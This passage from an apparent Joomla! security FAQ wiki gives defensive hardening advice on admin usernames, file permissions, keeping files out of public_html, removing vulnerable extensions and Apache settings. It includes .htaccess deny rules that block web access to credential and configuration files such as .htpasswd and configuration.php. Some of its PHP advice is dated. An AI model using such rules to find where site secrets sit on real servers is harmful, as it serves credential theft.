: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

Moving sensitive files is now documented at: http://docs.joomla.org/Moving_sensitive_files_outside_the_web_root

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

